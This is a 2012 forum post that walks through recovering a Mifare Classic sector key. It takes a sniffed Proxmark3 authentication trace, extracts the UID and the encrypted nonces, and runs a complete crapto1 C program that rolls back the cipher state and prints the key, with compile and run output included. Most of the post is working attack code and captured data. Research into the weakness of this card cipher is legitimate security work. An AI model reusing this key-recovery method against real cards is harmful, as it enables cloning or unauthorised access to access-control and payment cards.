Getting the sector key of a mifare card

Author : xfpga Date : 2012-12-12 12:28:59

Getting the sector key of a mifare card(from google code of proxmark3) Snooping on Mifare communications This is a working example of how the sector keys of mifare cards can be retrieved with a Proxmark3, using the "crapto-1" package found on Google Code. The trace below is taken from a hi14asnoop session followed by hf 14a list to get the beginning of the authentication & encryption protocol : Commands Comment + 561882 : 1 : 26 REQA + 64 : 2 : TAG 04 00 Answer reqa + 10217 : 2 : 93 20 Select + 64 : 5 : TAG 9c 59 9b 32 6c The card’s UID is therefore : 9c 59 9b 32 + 12313 : 9 : 93 70 9c 59 9b 32 6c 6b 30 Select with UID + 64 : 3 : TAG 08 b6 dd Tag type (Mifare 1K) + 923318 : 4 : 60 00 f5 7b AUTH (block 00) + 112 : 4 : TAG 82 a4 16 6c Tag challenge (nt, "Nonce Tag") + 6985 : 8 : a1 e4 ! 58 ce ! 6e ea ! 41 e0 ! nr XOR ks1 (Nonce Reader, encrypted, 4 bytes),  ar XOR ks2 (Answer Reader to Nonce Tag, encrypted) + 64 : 4 : TAG 5c ! ad f4 39 ! at XOR ks3 (Answer Tag, encrypted) In order to extract the key for sector 0 from the exchange, we need the following elements : Tag UID Tag challenge (nt) Reader challenge, encrypted (nr xor ks1, aka nr) Reader response, encrypted (ar XOR ks2, aka ar) Tag response, encrypted (at XOR ks3, aka at) In the example above : UID : 0x9c599b32 nt : 0x82a4166c nr : 0xa1e458ce ar : 0x6eea41e0 at : 0x5cadf439 Those can then be used in the following "crapto1" test program : // Test-file: test2.c #include "crapto1.h" #include <stdio.h> int main (void) {  struct Crypto1State *revstate;  uint64_t lfsr;  unsigned char* plfsr = (unsigned char*)&lfsr;  uint32_t uid                = 0x9c599b32;  uint32_t tag_challenge      = 0x82a4166c;  uint32_t nr_enc             = 0xa1e458ce;  uint32_t reader_response    = 0x6eea41e0;  uint32_t tag_response       = 0x5cadf439;  uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);  uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);  printf("nt': %08x\n",prng_successor(tag_challenge, 64));  printf("nt'': %08x\n",prng_successor(tag_challenge, 96));  printf("ks2: %08x\n",ks2);  printf("ks3: %08x\n",ks3);  revstate = lfsr_recovery(ks2, ks3);  lfsr_rollback(revstate, 0, 0);  lfsr_rollback(revstate, 0, 0);  lfsr_rollback(revstate, nr_enc, 1);  lfsr_rollback(revstate, uid ^ tag_challenge, 0);  crypto1_get_lfsr(revstate, &lfsr);  printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);  return 0; } Then compiled with : #gcc -o test2 test2.c crapto1.c crypto1.c And run like this : ./test2 nt': 8d65734b nt'': 9a427b20 ks2: e38f32ab ks3: c6ef8f19 Found Key: [ff ff ff ff ff ff] you can use the gui soft to do so, it is the same.